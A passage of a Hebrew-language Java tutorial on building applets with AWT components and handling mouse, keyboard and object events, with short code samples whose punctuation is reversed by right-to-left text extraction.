‫רושמים את התנאי בסוגריים‪ ,‬ולאחר מכן פותחים סוגריים מסולסלים‪ .‬אחרי שכבר‬
‫פתחנו את הסוגריים המסולסלים‪ ,‬אנחנו רושמים מה קורה אם התנאי שציינו אכן‬

‫‪525‬‬
‫מתקיים‪ .‬לאחר התוצאה בתנאי שהתנאי שהצבנו מתקיים‪ ,‬סוגרים את הסוגריים‬
‫המסולסלים‪.‬פה הוספנו גם מה קורה אם התנאי לא מתקיים‪ ,‬על ידי הוספת הצהרה‬
‫מתאימה לכך‪ ,‬המילה ‪ else‬ואחריה התוצאה אם התנאי אינו מתקיים‪ .‬לאחר מכן‪,‬‬
‫סגרנו את הפונקצייה‪ ,‬והתחלנו ליצור את גוף התוכנית‪ ,‬על ידי הגדרה של‬
‫הפונקצייה ‪ .Main‬לאחר מכן‪ ,‬בגוף התוכנית‪ ,‬יצרנו אובייקט חדש שמיוצג על‬
‫ידי האות האנגלית ‪ ,p‬והוא אובייקט של המחלקה ‪ .Prog‬הגדרנו את המאפיינים‬
‫של האובייקט‪ ,‬על ידי נקודה בין שם האובייקט לשם המאפיין‪ ,‬וסימן שוויון‬
‫בין שם המאפיין לערך שלו‪ .‬לאחר מכן יישמנו את פונקציית ‪ showAttrs‬בעצם על‬
‫האובייקט (שמיוצג אצלנו על ידי האות ‪ .)p‬לאחר מכן הצגנו פלט משולב‪.‬‬

‫יישומונים (אפלטונים)‬
‫עוד גורם הצלחה חשוב מאוד של ג'אווה הוא יצירת היישומונים (אפלטונים) בה‪.‬‬
‫מי שהתנסה בתיכנון אתרי אינטרנט מקצועיים‪ ,‬יודע‪ ,‬שאתר שלא משתמש בקצת‬
‫אינטראקטיביות לא מעניין‪ ,‬לא מושך‪ ,‬ולא ייכנסו אליו‪ .‬אתם תוכלו‪ ,‬על ידי‬
‫שימוש ביישומונים של ג'אווה‪ ,‬ליצור דפי אינטרנט דינאמיים ואינטראקטיביים‬
‫בקלות ובמהירות‪ .‬לפני כל הקטע התיכנותי‪ ,‬מספר כללים והערות לגבי אפלטונים‬
‫של ג'אווה‪ .‬באפלטונים של ג'אווה אבטחה כבדה‪ :‬אי אפשר לעשות משהו כלפי‬
‫המחשב של הגולש היחיד (וזה כולל מחיקת קבצים‪ ,‬שינוי הרג'יסטרי וכדומה‪ ,‬אך‬
‫למרות זאת אפשר יהיה למחוק קבצים מתוך השרת)‪ .‬את האפלטונים של ג'אווה אי‬
‫אפשר להריץ ישירות בלי כלים מתאימים (שימוש בדף אינטרנט או שימוש בכלי‬
‫הנקרא ‪ .)Applet Viewer‬אפלטונים הם בעצם הרחבה של מחלקה הנמצאת בין שאר‬
‫המחלקות שבאות עם כל ערכת פיתוח של ג'אווה‪ .‬עכשיו‪ ,‬בין מחלקות בג'אווה יש‬
‫יחסים מסויימים‪ .‬למשל‪ ,‬מחלקה אחת יכולה להרחיב את השנייה‪ .‬המחלקה המורחבת‬
‫נקראת מחלקת על (‪ ,)Superclass‬והמרחיבה נקראת תת מחלקה (‪ .)Subclass‬עוד‬
‫דבר חשוב הוא שמחלקה יכולה להיות ציבורית (‪ )public‬ופרטית (‪ .)private‬פה‬
‫אנחנו נשתמש במחלקה ציבורית‪.‬‬

‫יצירת יישומון‬
‫טוב‪ ,‬פה אנחנו ניצור יישומון פשוט שיציג טקסט מסויים בצבע מסויים‪ .‬נשמע‬
‫פשוט‪ ,‬אבל יצירת יישומון היא הרבה יותר מסובכת מיצירת יישום רגיל‪ .‬טוב‪,‬‬
‫הנה קוד המקור של היישומון‪ ,‬ואחריו הסברים‪:‬‬

‫‪;import java.awt.Graphics‬‬
‫‪;import java.awt.Font‬‬
‫‪;import java.awt.Color‬‬

‫‪{ public class Texting extends java.applet.Applet‬‬


‫‪;)Font f = new Font("TimesRoman", Font.BOLD, 36‬‬

‫‪{ )public void paint(Graphics screen‬‬


‫‪;)screen.setFont(f‬‬
‫‪;)screen.setColor(Color.blue‬‬
‫‪;)screen.drawString("Crossbow", 5, 40‬‬
‫}‬
‫}‬

‫הסברים‬
‫אנחנו משתמשים בשלוש מחלקות מתוך חבילת ‪ :awt‬גרפיקה‪ ,‬פונט וצבע‪ .‬אחר כך‬
‫אנחנו מגדירים תת מחלקה המורחבת ממחלקה היוצרת יישומונים‪ .‬לאחר מכן אנחנו‬
‫יוצרים מאפיין חדש המיוצג באות ‪ ,f‬מסוג ‪ .Font‬באותה שורה הגדרנו את סוג‬
‫הפונט (‪ ,)TimesRoman‬הצורה שבה יוצג (עבה ‪ ,)Bold -‬וגודלו (‪ .)36‬שורה‬
‫לאחר מכן השתמשנו בפונקציית ‪ paint‬האופיינית לאפלטונים‪ .‬הגדרנו את הפונט‬
‫של המסך בתור האובייקט שיצרנו מקודם (שמיוצג באות ‪ ,)f‬הגדרנו אותו כך‬

‫‪526‬‬
‫שיהיה בצבע כחול (לא לפי שיטת ‪ ,RGB‬אבל גם זה יגיע)‪ .‬שורה לאחר מכן אנחנו‬
‫השתמשנו בפונקצייה שמציירת טקסט על המסך (והגדרנו את הטקסט עצמו שייכתב‬
‫יחד עם הנקודה הגבוהה והשמאלית ביותר על פי קורדינטות ‪ X‬וגם ‪ .)Y‬ולאחר‬
‫מכן סגרנו את המחלקה‪ .‬קמפלו את התוכנית אחרי ששמרתם אותה בשם של המחלקה‬
‫עם סיומת אופיינית‪ ,‬יעני ‪ Texting.java‬יקומפל לקובץ ‪ .Texting.class‬צרו‬
‫דף ‪ Html‬חדש ובו הקוד הבא‪:‬‬

‫‪>APPLET CODE = "Texting.class" WIDTH = 600 HEIGHT = 100‬‬


‫<‪>APPLET/‬‬

‫שמרו את דף זה באותה סיפרייה שבה נמצא הקובץ שקמפלנו‪ .‬הריצו את דף זה‬


‫בדפדפן האינטרנט שלכם‪ .‬אם הכל נכון‪ ,‬תראו את היישומון שיצרתם‪ .‬אם עשיתם‬
‫הכל נכון‪ ,‬אבל היישומון עדיין לא פועל‪ ,‬אז הדפדפן שלכם לא תומך ג'אווה‪.‬‬

‫מילים לסיום‬

‫טוב‪ ...‬אני מקווה שתמשיכו קצת עם ג'אווה‪ ,‬זה כיף‪ ,‬זה חזק‪ ,‬וזה מקצועי!!!‬
‫תגובות והכל יירשמו בפורומים של האקינג ותכנות או באייסקיו או אי מייל‪.‬‬
‫שלכם בסבבה‪,‬‬

‫‪Crossbow‬‬

‫‪527‬‬
‫‪JAVA2‬‬
‫טוב‪ ,‬היום נעבוד על יישומונים של ג'אווה עם שימוש יותר מתקדם‪ .‬היום נעבוד‬
‫על יצירת אובייקטים‪ ,‬על שימוש באירועים‪ ,‬ובכלל על המון דברים שווים‪ .‬טוב‪,‬‬
‫בואו נתחיל!!!‬

‫שימוש בממשק‬
‫כידוע‪ ,‬בג'אווה אין לנו סביבה גרפית (כמו למשל בויזואל בייסיק)‪ ,‬ואת הכל‬
‫אנחנו יוצרים בקוד המקור של התוכנה‪ .‬ככה גם למשל‪ ,‬אפשר ליצור אובייקטים‬
‫בזמן ההרצה בג'אווה‪ ,‬דבר שהרבה יותר קשה ליצור בויזואל בייסיק‪ .‬טוב‪ ,‬את‬
‫הממשק אנחנו יוצרים בעזרת ערכה לשימוש בחלונות‪ ,‬הנקראת ‪ .Awt‬ערכה זו היא‬
‫בעצם סדרת מחלקות שמאפשרות ליצור ממשק משתמש גרפי וגם לקבל קלט מהעכבר‬
‫והמקלדת‪ .‬ממשק המשתמש מכיל שלושה דברים‪:‬‬

‫מנהלי פריסה‬
‫אובייקט שקובע איך יהיו מסודרים כל אחד ואחד מהאובייקטים‪ .‬מנהלי הפריסה‬
‫הם בלתי נראים למשתמש‪.‬‬

‫מיכלים‬
‫אובייקט שבתוכו ישנם אובייקטים אחרים‪ .‬דוגמא טובה למיכל הוא החלון של‬
‫היישומון‪ .‬עוד דוגמאות הם חלונות עצמאיים וגם תיבות דו שיח (‪.)Dialog Box‬‬

‫רכיבים‬
‫כל מה שניתן להוסיף לממשק עצמו‪ .‬כולל כפתורים‪ ,‬רשימות‪ ,‬תפריטים‪ ,‬תיבות‬
‫טקסט‪ ,‬תוויות ועוד‪...‬‬

‫איך מוסיפים רכיבים‬


‫הנה קוד מקור להוספה של כפתור ליישומון‪:‬‬

‫‪;*.import java.awt‬‬

‫‪{ public class CoolApplet extends java.applet.Applet‬‬


‫‪;"!!!String caption = "I'm the coolest button around‬‬
‫‪;)Button coolButton = new Button(caption‬‬

‫‪{ )(public void init‬‬


‫‪;)add(coolButton‬‬
‫}‬
‫}‬

‫הסברים‬
‫טוב‪ ,‬בשורה ראשונה אנחנו מוסיפים את ממשק המשתמש ‪ Awt‬לתוך התוכנית שלנו‪.‬‬
‫לאחר מכן אנחנו יוצרים יישומון‪ ,‬ויוצרים משתנה חדש בשם ‪ ,caption‬ומגדירים‬
‫אותו בתור משתנה טקסטואלי שבעצם יהיה כתוב בו משהו (המילים בין המרכאות)‪.‬‬
‫לאחר מכן אנחנו יוצרים כפתור חדש בשם ‪ ,coolButton‬והכתובת עליו תהיה‬
‫המשתנה שיצרנו (המשתנה הטקסטואלי)‪ .‬לאחר מכן אנחנו יוצרים את הפונקצייה‬
‫שנקראת ‪ init‬שאופיינית ליישומונים‪ ,‬ובה אנחנו הופכים את הכפתור שהגדרנו‬
‫לרכיב על המסך (חלון היישומון)‪.‬‬

‫סוגי הרכיבים‬
‫ישנם המון סוגים של רכיבים ביישומון‪ .‬כאן אני אציין את העיקריים ביניהם‪:‬‬

‫‪528‬‬
‫כפתור‬
‫ידוע בשם ‪ .Button‬כפתור‪ ,‬המשמש בעיקר לשליחת מידע וטיפול מתאים במידע‬
‫שקיבל‪ .‬משומש בעיקר על ידי לחיצה יחידה עליו בעזרת העכבר‪ .‬צריך לציין‬
‫בתוכו את הכתוב עליו‪.‬‬

‫תווית‬
‫ידועה בשם ‪ .Label‬התווית‪ ,‬בניגוד לתיבת טקסט‪ ,‬בדרך כלל איננה ניתנת‬
‫לעריכה ישירות בזמן הריצה‪ ,‬ולכן השימוש העיקרי של התוויות הוא בעצם להציג‬
‫טקסט על המסך (אינפורמצייה)‪ .‬צריך לציין את הכתוב עליה‪ ,‬ויש גם אפשרות‬
‫לציין לאן יהיה יישור הטקסט‪ ,‬הידוע גם בשם ‪.Align‬‬

‫תיבת סימון‬
‫ידועה גם בשם ‪ .Check Box‬תיבת הסימון משמשת בעיקר לבחירת אופצייה אחת‬
‫מתוך מספר אופציות‪ .‬עם תיבות הסימון משומשים גם בדרך כלל מיכלים רבים‪,‬‬
‫מכיוון שרק אופצייה אחת יכולה להבחר במיכל אחד‪ .‬צריך לציין את הטקסט‬
‫שיהיה ליד התיבה‪ .‬עוד אפשרות להפרדת קבוצות של תיבות סימון היא יצירת‬
‫אובייקט מסוג ‪.CheckboxGroup‬‬

‫קבוצת תיבות סימון‬


‫ידוע גם בשם ‪ .CheckboxGroup‬קבוצת תיבות הסימון מכיל כמה תיבות סימון‪.‬‬
‫השימוש באובייקט זה הוא כפרמטר נוסף לקונסטרקטור של מחלקת ‪.Checkbox‬‬
‫הקונסטרקטור יוצר תיבת סימון‪ ,‬שבה אנחנו מציינים את הטקסט שיהיה ליד תיבת‬
‫הסימון‪ ,‬אחריו את שם האובייקט שאליו תיבת הסימון שייכת (שם האובייקט מסוג‬
‫קבוצת תיבת סימון)‪ .‬יש גם אפשרות לציין אם התיבה מסומנת או לא‪ ,‬על ידי‬
‫פרמטר שלישי‪ ,‬מסוג בוליאני (‪ .)True or False‬אם הפרמטר השלישי מכיל את‬
‫הערך ‪ ,True‬אז התיבה מסומנת‪ ,‬ואם הוא מכיל ‪ False‬אז התיבה לא מסומנת‪ .‬עוד‬
‫דבר חשוב הוא שאם אנחנו כותבים תוכנית ג'אווה מגרסא ‪ 2‬ומעלה‪ ,‬אז רק שתדעו‬
‫שהארגומנטים השני והשלישי התחלפו‪ :‬קודם מציינים אם התיבה מסומנת‪ ,‬ואחר כך‬
‫נציין לאיזו קבוצת סימון התיבה שייכת‪ .‬דרך אגב‪ ,‬ישנו שימוש בפונקציות כדי‬
‫לשנות או לקבל את התיבה המסומנת‪ ,‬בעזרת הפוקנציות ‪ getCurrent‬ופונקצייה‬
‫ששמה ‪.setCurrent‬‬
‫רשימת בחירה‬
‫ידועה בשם ‪ ComboList‬או גם ‪ .ChoiceList‬משמשות בעיקר לבחירת פריט יחיד‬
‫מתוך רשימה מסויימת‪ ,‬שהיא גם נקראת רשימה נפתחת‪ .‬אחרי שעשינו את ההצהרה‬
‫על יצירת רשימת בחירה חדשה (שנקראת ‪ ,)Choice‬אנחנו משתמשים בפונקצייה‬
‫שתפקידה הוא להוסיף אופצייה חדשה לרשימת הבחירה‪ .‬הפוקנצייה היא ‪.addItem‬‬
‫בתור ארגומנט מציינים את הטקסט של האופצייה החדשה בתוך רשימת הבחירה‪ .‬עוד‬
‫הערה היא שאם אתם משתמשים בג'אווה מעל גרסא ‪ ,1.02‬הפונקצייה איננה נקראת‬
‫עדיין ‪ ,addItem‬אלא פשוט ‪ .add‬עוד פונקציות חשובות הן פונקצייה המחזירה‬
‫את הטקסט של פריט ברשימה לפי מספר אינדקס‪ .‬הפריט הראשון ברשימה מיוצג על‬
‫ידי הספרה ‪ ,0‬השני מיוצג על ידי הספרה ‪ ,1‬השלישי על ידי הספרה ‪ 2‬וכולי‪...‬‬
‫עוד פונקצייה חשובה היא ‪ ,countItems‬שבעצם מחזירה את מספר הפריטים בתוך‬
‫הרשימה‪ .‬פונקצייה זו לא דורשת שום ארגומנטים‪ .‬פוקנצייה נוספת היא בעצם‬
‫מחזירה את האינדקס של הפריט הנוכחי שנבר בתוך הרשימה‪ .‬פונקצייה זו נקראת‬
‫פוקנציית ‪ ,getSelectedIndex‬וגם היא לא דורשת שום שימוש בארגומנטים‪ .‬עוד‬
‫פונקצייה היא המקבילה לפונקצייה הקודמת‪ .‬פוקנצייה זו מחזירה את הטקסט של‬
‫הפריט הנוכחי שנבחר ברשימה‪ ,‬ונקראת פונקציית ‪ .getSelectedItem‬גם היא‪,‬‬
‫כמו הקודמות‪ ,‬לא דורשת שימוש בארגומנטים פנימיים‪ .‬פוקנצייה טובה לשימוש‬
‫היא פונקציית ‪ ,select‬שבוחרת את האינדקס של הפריט שמצויין כפרמטר בתוכה‪.‬‬
‫פונקצייה אחרונה ברשימת הבחירה היא פוקנציית ‪ select‬עוד פעם‪ ,‬אבל הפעם‬
‫במקום לציין את מספר האינדקס‪ ,‬אפשר לציין טקסט מסויים כארגומנט‪ .‬מה שבעצם‬
‫הפונקצייה הזאת עושה‪ ,‬זה לבחור את הפריט הראשון ברשימה לפי סדר כרונולוגי‬

‫‪529‬‬
‫שמכיל את הטקסט שמצויין כפרמטר‪.‬‬

‫תיבת טקסט‬
‫ידועה גם בתור ‪ ,TextField‬או ‪ .Textbox‬תיבת טקסט היא טקסט הניתן בדרך כלל‬
‫לעריכה על ידי המשתמש בזמן ההרצה של היישומון‪ .‬אפשר להשתמש בקונסרקטור של‬
‫תיבת הטקסט בתוך כמה אופציות‪ .‬אופצייה ראשונה היא שימוש בתיבת טקסט לא‬
‫מוגדרת וריקה‪ .‬כדי לבנות אחת כזאת נציין ‪ ,TextField‬בלי ארגומנטים‪ .‬עוד‬
‫אופצייה היא יצירת תיבת טקסט ריקה אבל עם הגבלה למספר התווים בתוכה‪ .‬הערה‬
‫טובה היא שהגודל בזכרון שתופס טקסט מסויים בביטים הוא מספר התווים בתוכו‪,‬‬
‫כך שעדיף להיות ספציפיים ולהגביל את גודל הטקסט בתוך תיבות טקסט‪ ,‬בעיקר‬
‫מסיבות של חסיכת זיכרון ומהירות היישומון‪ .‬אופצייה נוספת היא ציון הטקסט‬
‫שיהיה כבר בתחילת התוכנית בתוך תיבת הטקסט‪ .‬מציינים את הטקסט ההתחלתי על‬
‫ידי שימוש בארגומנט טקסטואלי‪ .‬אפשר להשתמש בשתי האופציות‪ ,‬על ידי ציון‬
‫הטקסט ההתחלתי ולאחר מכן ציון הגבלת התווים‪ ,‬כשני פרמטרים‪ .‬פונקצייה טובה‬
‫ומשומשת הרבה בתיבות טקסט‪ ,‬בעיקר להזנת סיסמאות‪ ,‬היא שימוש בתו מסויים‬
‫אחיד שמסתיר סיסמאות מעיני המשתמש (כמו למשל בוינדוס‪ ,‬סיסמאות מוחבאות על‬
‫ידי שימוש בכוכביות כאלה‪ .)******* :‬אפשר להגדיר כל תו שתרצו‪ ,‬לאו דווקא‬
‫כוכביות‪ ,‬על ידי הכנסת הארגומנט בפונקציית ‪ .setEchoCharacter‬בגרסאות‬
‫מאוחרות יותר של ג'אווה הפוקנצייה היא ‪ .setEchoChar‬ישנם גם פונקציות‬
‫לשליטה בתיבת הטקסט עצמה‪ ,‬כמו למשל‪ ,‬פונקציית ‪ getText‬שמחזירה את הטקסט‬
‫שתיבת הטקסט מכילה‪ ,‬או פונקציית ‪ ,setText‬שממלאת את תיבת הטקסט על ידי‬
‫שימוש בארגומנט הטקסטואלי של הפוקנצייה‪ ,‬או פונקציית ‪ isEditable‬שמחזירה‬
‫אם אפשר לערוך את תיבת הטקסט או לא ומחזירה ערך בוליאני‪ ,‬או פונקציית‬
‫‪ setEditable‬שקובעת האם ניתן לערוך את תיבת הטקסט‪ ,‬על ידי שימוש בפרמטר‬
‫בוליאני‪.‬‬

‫אזור טקסט‬
‫ידוע בשם ‪ .TextArea‬תפקידו זהה לתפקיד תיבת הטקסט‪ ,‬אבל השוני הוא שאזור‬
‫הטקסט יכול להכיל יותר משורת טקסט אחת‪ .‬לאזורי הטקסט יש פסי גלילה לאורך‬
‫ולרוחב‪ ,‬שמאפשרים לבצע גלילה על הטקסט שבתוך אזור הטקסט‪ .‬כדי לעשות שימוש‬
‫בירידת שורה באזור טקסט בתוך קוד המקור של היישומון ולא בזמן ההרצה שלו‪,‬‬
‫משתמשים בסלאש ואז באו האנגלית ‪ n‬קטנה (כמו בשפת סי)‪.‬‬

‫פס גלילה‬
‫נקרא גם ‪ .ScrollBar‬מאפשר בחירת ערך על ידי הזזת תיבה בין שני חצים‪ .‬פס‬
‫גלילה יכול להיות אופקי או אנכי‪ .‬אפשר להשתמש באחד מהקונסטרקטורים שאני‬
‫אציין עכשיו כדי ליצור פס גלילה‪ .‬אפשר להשתשמש בקונסרקטור ‪ Scrollbar‬בלי‬
‫ארגומנטים‪ ,‬שפשוט יוצר פס גלילה אנכי עם ערך מינימלי ומקסימלי בעלי הערך‬
‫אפס‪ .‬אפשר להשתמש בארגומנט המגדיר את הכיוון של פס הגלילה‪ ,‬על ידי הוספת‬
‫המילה ‪ Scrollbar.HORIZONTAL‬או הוספת ‪ ,Scrollbar.VERTICAL‬תלוי בכיוון‬
‫שאנחנו רוצים את פס הגלילה‪ .‬האפשרות הכי טובה לשימוש בקונסטרקטור לדעתי‪,‬‬
‫היא השימוש המלא‪ ,‬בעל חמישה ארגומנטים‪ :‬ארגומנט ראשון לקביעת כיוון פס‬
‫הגלילה (כמו שכבר ציינו למעלה)‪ ,‬הארגומנט השני‪ ,‬שהוא הערך ההתחלתי של פס‬
‫הגלילה (שאסור לו להיות קטן מהערך המינימלי או גדול מהערך המקסימלי של פס‬
‫הגלילה‪ ,‬שאותם נקבע בארגומנטים הבאים)‪ ,‬ארגומנט שלישי‪ ,‬שמציין את הרוחב‬
‫או האורך של פס הגלילה (כתלות בכיוון פס הגלילה)‪ ,‬הארגומנט הרביעי‪ ,‬שבו‬
‫אנחנו נציין את הערך המינימלי של פס הגלילה‪ ,‬והארגומנט החמישי‪ ,‬שבו אנחנו‬
‫נציין את הערך המקסימלי של פס הגלילה‪.‬‬

‫משטח ציור‬
‫ידוע גם בשם ‪ .Canvas‬משמש בעיקר להצגת תמונות או אנימצייה‪ .‬כדי להשתמש‬
‫במשטח הציור‪ ,‬אנחנו ניצור תת מחלקה של מחלקת ‪ .Canvas‬כל פעולות הציור‬
‫יהיו על אחריותה של תת המחלקה‪ ,‬בעזרת פונקציית ‪.paint‬‬

‫‪530‬‬
‫שימוש באירועים‬
‫ישנם הרבה סוגים של אירועים‪ .‬אירועים הם בעצם פעולות של המשתמש בדרך כלל‪.‬‬
‫הנה כמה סוגי אירועים מרכזיים ביישומון ג'אווה‪:‬‬

‫לחיצה על מקש‬
‫ידועה גם בשם ‪ ,Key Press‬או ‪ .Key Pressed‬הלחיצה על המקש היא פשוטה‪ :‬זה‬
‫בעצם תגובה ללחיצה על מקש מהמקלדת‪.‬‬

‫לחיצה על העכבר‬
‫ידועה גם בשם ‪ .Mouse Click‬לחיצה מחולקת לכמה חלקים‪ .‬החלק הראשון הוא מצב‬
‫שבו העכבר לחוץ (‪ ,)Mouse Down‬שחרור העכבר (‪ ,)Mouse Up‬והמצב שבו בעצם‬
‫העכבר כבר נלחץ (‪ .)Mouse Clicked‬באירוע זה יש לחיצה על העכבר ושחרור שלו‬
‫באותה הנקודה‪.‬‬

‫תנועה של העכבר‬
‫ידועה גם בשם ‪ ,Mouse Move‬או ‪ .Mouse Movements‬האירועים הם כניסת הסמן של‬
‫העכבר לתוך שטח מסויים או גרירה של העכבר (‪.)Drag‬‬

‫אירועי הממשק‬
‫לחיצה על לחצן‪ ,‬הופעת תפריט מוקפץ‪ ,‬גלילת פס גלילה‪ ,‬שינוי טקסט באזורי‬
‫טקסט וכדומה‪.‬‬

‫שימוש בפונקציית ‪handleEvent‬‬


‫הדרך שבה ג'אווה משתמשת באירועים היא אחת מההבדלים הכי גדולים בעצם בין‬
‫גרסא ‪ 1.02‬לבין גרסא ‪ 2.0‬של ג'אווה‪ .‬בג'אווה ‪ ,1.02‬כל האירועים מעובדים‬
‫ומוגדרים על ידי פונקצייה שנקראת ‪ .handleEvent‬כשאירוע מועבר לפונקציית‬
‫‪ ,handleEvent‬הפונקצייה מחליטה לאיזה אירוע הוא שייך‪ ,‬כמו למשל‪ ,‬לחיצה על‬
‫המקלדת או לחיצה על העכבר‪.‬‬

‫שימוש בלחיצה על העכבר‬


‫כאשר אנחנו לוחצים על העכבר קורות שתי פעולות‪ :‬אחת היא כאשר העכבר נלחץ‬
‫כבר (נקראת ‪ ,)MouseDown‬והשנייה כשהלחצן משוחרר (נקראת ‪ .)MouseUp‬הנה‬
‫דוגמא טובה לשימוש בלחיצה על העכבר‪:‬‬

‫‪} )public boolean mouseDown(Event evt, int x, int y‬‬

‫}‬

‫הסברים‬
‫שתי הפונקציות‪ ,‬גם ‪ MouseDown‬וגם ‪ ,MouseUp‬משתמשות על ידי שלושה פרמטרים‪:‬‬
‫האירוע עצמו‪ ,‬ושתי קורדינטות‪ ,‬קורדינטת ‪ x‬וקורדינטת ‪ ,y‬שביחד יוצרות לנו‬
‫את הנקודה שבה נלחץ העכבר‪ .‬הפרמטר ‪ evt‬הוא אובייקט של המחלקה ‪ .Event‬כל‬
‫האירועים גורמים להיווצרות של אובייקט של מחלקת ‪ ,Event‬שמכיל מידע על‬
‫המיקום והזמן שבו האירוע התרחש וגם את סוג האירוע‪.‬‬

‫שימוש בלחיצה כפולה‬


‫ידועה גם בשם ‪ .DoubleClick‬בג'אווה‪ ,‬בניגוד לויזואל בייסיק‪ ,‬אין אירוע‬
‫ששמו הוא ‪ ,DoubleClick‬אלא ישנו משתנה בשם ‪ clickCount‬שעוקב אחרי מספר‬
‫הפעמים שנלחץ העכבר באופן רציף‪ .‬כך למשל‪ ,‬אפשר ליצור לחיצה כפולה‪ ,‬לחיצה‬
‫משולשת‪ ,‬ואפילו לחיצה מרובעת‪ .‬הנה דוגמא לשימוש בלחיצה משולשת‪:‬‬

‫‪531‬‬
‫‪} )public boolean mouseDown(Event evt, int x, int y‬‬
‫‪{ )if (evt.clickCount == 3‬‬
‫‪;)"!System.out.println("Well, that was a triple click‬‬
‫}‬
‫‪;return false‬‬
‫}‬

‫הסברים‬
‫פה‪ ,‬בתוך אירוע לחיצה על העכבר‪ ,‬אנחנו מציבים תנאי‪ .‬פה אנחנו אומרים שאם‬
‫הייתה לחיצה משולשת (אם המונה הגיע לשלוש)‪ ,‬אז יהיה פלט שיגיד משהו‪ .‬דרך‬
‫אגב‪ println ,‬פועל אחרת ביישומונים‪ :‬באינטרנט אקפלורר הוא שומר את הפלט‬
‫בתוך קובץ‪ ,‬ובנטסקייפ הוא מציג חלון חדש‪ ,‬חלון קונסול שנקרא גם טרמינל‪,‬‬
‫שבו יוצג הפלט‪.‬‬

‫שימוש בתנועות של העכבר‬


‫טוב‪ ,‬בתוך ממשק המשתמש (‪ ,)Awt‬ישנם שני סוגי תנועות עכבר‪ :‬תנועת עכבר‬
‫פשוטה (שבה העכבר לא לחוץ)‪ ,‬וגרירת העכבר (תנועה משולבת עם עכבר לחוץ)‪.‬‬
‫הנה דוגמא לשימוש בתנועת עכבר רגילה‪:‬‬

‫‪{ )public boolean mouseMove(Event evt, int x, int y‬‬


‫‪;)System.out.println(x + ", " + y‬‬
‫‪;return true‬‬
‫}‬

‫הסברים‬
‫טוב‪ ,‬אין הרבה מה להסביר‪ ,‬היישומון לוקח את תנועות העכבר ומציג בעצם את‬
‫הקורדינטות של העכבר‪ .‬הנה אותה תוכנית‪ ,‬אבל הפעם לא עם תנועת עכבר רגילה‪,‬‬
‫אלא עם תנועת עכבר לחוץ (גרירה של העכבר)‪:‬‬

‫‪{ )public boolean mouseDrag(Event evt, int x, int y‬‬


‫‪;)System.out.println(x + ", " + y‬‬
‫‪;return true‬‬
‫}‬

‫שימוש בכניסת ויציאת עכבר‬


‫למי שקרא את המילים "יציאת עכבר"‪ ,‬אז לא‪ ,‬זה לא קשור ליציאת ‪ Ps2‬או ‪,Com‬‬
‫זה בכלל לא מתעסק בחומרה‪ ,‬זה פשוט אירוע כשהעכבר נכנס או יוצא מתחומיו של‬
‫היישומון‪ .‬הנה דוגמא לשימוש ביציאת וכניסת עכבר‪:‬‬

‫‪{ )public boolean mouseEnter(Event evt, int x, int y‬‬


‫‪;)".System.out.println("The cursor is in the applet‬‬
‫‪;return true‬‬
‫}‬

‫‪{ )public boolean mouseExit(Event evt, int x, int y‬‬


‫‪;)".System.out.println("The cursor is not in the applet‬‬
‫‪;return true‬‬
‫}‬

‫שימוש באירועי מקלדת‬


‫כדי שאובייקט יקבל אירוע מהמקלדת‪ ,‬חייב להיות עליו פוקוס‪ .‬בקיצר‪ ,‬צריך‬

‫‪532‬‬
‫להגדיר את הפוקוס על האובייקט‪ .‬ניתן לעשות זאת באמצעות פוקנצייה חסרת‬
‫ארגומנטים‪ ,‬שנקראת ‪ .requestFocus‬הנה דוגמא לשימוש בפוקוס‪:‬‬

‫‪;*.import java.awt‬‬

‫‪{ public class focusing extends java.applet.Applet‬‬


‫‪;)"Button coolButton = new Button("Click here‬‬
‫‪;)(coolButton.requestFocus‬‬
‫‪{ )(public void init‬‬
‫‪;)add(coolButton‬‬
‫}‬
‫}‬

‫הסברים‬
‫ביישומון זה אנחנו יוצרים כפתור חדש‪ ,‬ועושים עליו פוקוס על ידי קריאה‬
‫לפונקציית ‪ .requestFocus‬טוב‪ ,‬עכשיו כשאנחנו יודעים לעשות פוקוס‪ ,‬אפשר‬
‫לעבור לאירועי המקלדת‪:‬‬

‫‪{ )public boolean keyDown(Event evt, int key‬‬


‫‪;)System.out.println("Ascii: " + key‬‬
‫‪;)System.out.println("Character: " + (char)key‬‬
‫‪;return true‬‬
‫}‬

‫הסברים‬
‫טוב‪ ,‬פה אנחנו משתמשים באירוע לחיצת המקש‪ ,‬ומציגים את ערך האסקיי של המקש‬
‫שנלחץ‪ ,‬ולאחר מכן את האות שנלחצה (הצגת התו השייך לערך האסקיי)‪.‬‬

‫שימוש מתקדם באירועי מקלדת‬


‫אפשר להציג תנאי שבו אנחנו אומרים מה קורה אם מקש מסויים נלחץ‪ .‬הנה דוגמא‬
‫טובה לקוד כזה‪:‬‬

‫‪{ )public boolean keyDown(Event evt, int key‬‬


‫‪{ )if (key == Event.HOME‬‬
‫‪;)".System.out.println("You pressed the home button‬‬
‫}‬
‫‪;return true‬‬
‫}‬

‫הסברים‬
‫יישומון זה בעצם אומר שאם לחצנו על מקש ‪ ,Home‬יהיה פלט‪ .‬אם לא לחצנו על‬
‫המקש‪ ,‬התנאי לא התקבל‪ ,‬ולכן לא תהיה שום תגובה מהיישומון‪.‬‬

‫שימוש באירועי אובייקט‬


‫עד עכשיו עבדנו על אירועים כלליים‪ ,‬אבל מכיוון שג'אווה היא שפת תיכנות‬
‫מונחה אובייקטים‪ ,‬מן הצורך שיהיו בה גם אירועי אובייקטים‪ .‬בשביל זה אנחנו‬
‫ניצור פונקצייה מוכרת ביישומונים הנקראת ‪ .action‬הנה דוגמא לפונקצייה זו‪,‬‬
‫יחד עם הסברים‪:‬‬

‫‪{ )public boolean action(Event evt, Object arg‬‬

‫}‬

‫‪533‬‬
‫הסברים‬
‫פה אנחנו מקבלים שני ארגומנטים‪ ,‬את האירוע שמתבצע‪ ,‬וגם את האובייקט שעליו‬
‫מבוצע האירוע‪ .‬הדבר הראשון שנעשה בתוך פונקציית ‪ ,action‬הוא לבדוק על‬
‫איזה אובייקט בוצע האירוע‪ .‬כדי לבדוק על איזה אובייקט בוצע האירוע‪ ,‬אפשר‬
‫להשתמש באופרטור ‪ instanceof‬ככה‪:‬‬

‫‪{ )public boolean action(Event evt, Object arg‬‬


‫‪)if (evt.target instanceof TextField‬‬
‫‪;)return handleText(evt.target‬‬
‫‪)elseif (evt.target instanceof Choice‬‬
‫‪;)return handleChoice(arg‬‬
‫‪;return false‬‬
‫}‬

‫הסברים‬
‫טוב‪ ,‬כאן רק תיבת טקסט או תפריט בחירה יכולים להיות בפונקציית ‪.action‬‬
‫הפונקציות ‪ handleText‬וגם ‪ handleChoice‬הם לא פונקציות שתוכננו בתוך ממשק‬
